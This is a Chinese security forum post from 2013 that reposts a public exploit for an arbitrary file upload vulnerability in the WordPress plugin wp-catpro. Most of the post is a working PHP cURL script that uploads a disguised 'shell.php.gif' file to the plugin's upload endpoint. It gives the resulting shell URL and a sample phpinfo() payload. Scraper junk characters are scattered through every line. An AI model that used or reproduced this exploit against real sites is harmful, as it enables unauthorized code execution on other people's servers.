找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability' r4 A! e) `! f
#-----------------------------------------------------------------------  m9 R, `5 N1 u( P8 {1 V
/ Q' N( o5 a' r, S
作者  => Zikou-16
4 }- q0 U4 i" U. [8 j% k' v邮箱 => zikou16x@gmail.com
! G  e& ^+ Q7 @+ d测试系统 : Windows 7 , Backtrack 5r35 C1 l5 }. a* `1 F
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip0 k; ~1 ~" N9 m8 a: C0 Y
####
2 R) ~) R! c# T" ]8 ^6 ?9 P, o! l
+ T# L) d# A7 @6 A#=> Exploit 信息:4 z. i$ Y$ B* n7 P
------------------8 z' j$ l  Y' W8 e# g% Q6 f3 e. q
# 攻击者可以上传 file/shell.php.gif4 K2 z* d" z" C. U9 b% C& y& H
# ("jpg", "gif", "png")  // Allowed file extensions
0 i5 F. \' l. _0 I3 s1 `0 s' N# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)6 b* A% _) M7 N, R
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
* A; u6 k$ [! m9 D/ e5 y+ I9 z------------------
7 q" P( U' g, K( ?! K8 a 9 z% f; K2 d& p/ W# o5 x$ S/ W
#=> Exploit
- j! E7 k* e" Y) B* ^$ K-----------
# B' }/ x7 h  H9 T: |7 ]<?php
! {; B3 K8 K% a/ `  N 3 v; r$ ]  U/ s* `, \, u9 f8 ~! }
$uploadfile="zik.php.gif";! b9 I; }/ L3 m
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");9 C3 h( s7 J- H. D) ]
curl_setopt($ch, CURLOPT_POST, true);
) s% F5 l- T, Y1 \# @# S, f8 Kcurl_setopt($ch, CURLOPT_POSTFIELDS,
+ s$ X2 O. n; h: aarray('Filedata'=>"@$uploadfile",
  t. C. z% Y8 ~: K; }& V- F& |'folder'=>'/wp-content/uploads/catpro/'));
$ s- S" a$ v' Scurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);2 O6 c. Z! y; F) l3 \# a" G
$postResult = curl_exec($ch);1 Z% T, y% Q: t: |( ?0 Y
curl_close($ch);4 Q5 j8 x* p1 k, s: l& Q% H% `

7 `5 X8 n' w: M5 F4 j  F4 Pprint "$postResult";
: ?, z& n. F- x1 S8 u- B7 ?8 a7 w + i; t0 j  _4 T, J4 q* F
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
& S1 h% ?2 x. T5 w  ?>
6 \' h0 q- s* n$ H' A& e<?php
' i% e% I3 O: B! Xphpinfo();! L  X& U- n2 |1 H: _4 W
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表